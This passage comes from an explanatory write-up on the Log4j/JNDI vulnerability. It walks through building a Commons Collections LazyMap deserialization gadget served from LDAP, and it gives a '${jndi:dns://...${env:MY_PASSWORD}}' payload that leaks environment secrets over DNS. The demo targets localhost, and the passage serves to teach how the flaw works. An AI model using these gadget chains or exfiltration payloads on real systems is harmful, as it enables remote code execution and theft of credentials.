lazyMap2.put("zZ",1);

“yy” and “zZ” have equal hashcodes (3872 each), so both lazyMap1, and lazyMap2 have equal hashcodes. These are now used as keys for a hashtable:

Hashtable hashtable=new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);

Since the hashes of the two LazyMaps are the same, both keys, i.e. lazyMap1 and lazyMap2, are compared. The keys in lazyMap1 are iterated over and it is checked whether they also appear in lazyMap2. For this comparison, however, a get is also called on the key in lazyMap2 in each case, which now uses the transformer to generate unknown keys. In the code that prepares the maps, this creates an entry with key “yy” in lazyMap2, since this key exists in lazyMap1 and a LazyMap generates key-value pairs on-demand. Since the transformer does nothing at first, the value is then also “yy”.

After that, transformers is only actually set via Reflections as a transformer that executes the exploit.

The additional value “yy” must now be removed again from lazyMap2 so that the hashes are equal again. If now the object is restored, the thing just described happens again. Only this time the transformer defined in transformers is called and the defined code is executed.

setFieldValue(transformerChain, "iTransformers", transformers);
lazyMap2.remove("yy");

Now you can serialize the generated hashtable and create an LDAP entry with the data:

javaClassName: foo
objectClass: javaMarshalledObject
javaSerializedData: <base64 encodierte Daten>

If you execute this, you will now see the following:

As in the previous example, at the top you can see the call of the program that logs a line with log4j. After that comes the output of the LDAP server. Here you can see the data of the serialized object. After that the data of the webserver, which delivers remote classes. But this is not requested here. At the bottom the result of the exploit code. This is again the call of exploit_code.sh, which simply writes the current date into a file.

Tapping of information

Furthermore, substitutions are also replaced recursively. Since one can also access the environment variables among other things, the possibility offers itself here also this information to a server to send. If you type "${jndi:dns://127.0.0.1/${env:MY_PASSWORD}}" the content of MY_PASSWORD will be sent to a server listening on UDP port 53. You could of course do this with LDAP, but it is good to know that this also works with DNS, especially since you might be more likely to let such requests through the firewall than LDAP requests. This also works with trustURLCodebase=false because of course no external code is used at all.

Above is the call with the corresponding log line. Below is the request that arrives at the server. The payload contains the content of MY_PASSWORD. I have not implemented the DNS protocol here, otherwise you probably could have given a response that replaces the values in the log output.

JNDI in general

Now all this is not because log4j uses JNDI in a very special way. The following code (see jndi subproject), will also execute the exploit

Context ctx = new InitialDirContext(...);
ctx.lookup("ldap://127.0.0.1:1389/dc=javaNamingReference");

That is, if you use any form of serialization of objects, you should pay close attention. It can also be somewhat hidden, as you can see in this example.

Links

• A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land
• Schema for Representing Java Objects in an LDAP Directory